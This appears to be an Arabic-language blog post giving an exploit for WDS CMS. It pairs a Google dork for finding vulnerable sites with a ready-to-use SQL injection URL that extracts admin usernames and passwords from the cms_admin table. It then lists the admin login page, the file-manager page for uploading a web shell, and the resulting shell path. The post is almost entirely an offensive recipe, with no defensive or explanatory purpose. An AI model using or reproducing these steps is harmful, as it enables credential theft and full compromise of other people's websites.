اختراق - WDS CMS - SQLI
# Exploit Title : WDS CMS - SQL Injection# Google Dork : allinurl:wds_news/article.php?ID=
Exploit : http://[Target]/wds_news/article.php?ID=-1+union+select+1,group_concat(username,0x3a,password),3,4,5,6,7,8,9,10+from+cms_admin--
Control Panel : http://[Target]/wds_news/admin/login.php
Upload Shell : http://[Target]/wds_news/admin.php?mode=list_file
Shell Path : http://[Target]/wds_news/filer/shell.php
ليست هناك تعليقات:
إرسال تعليق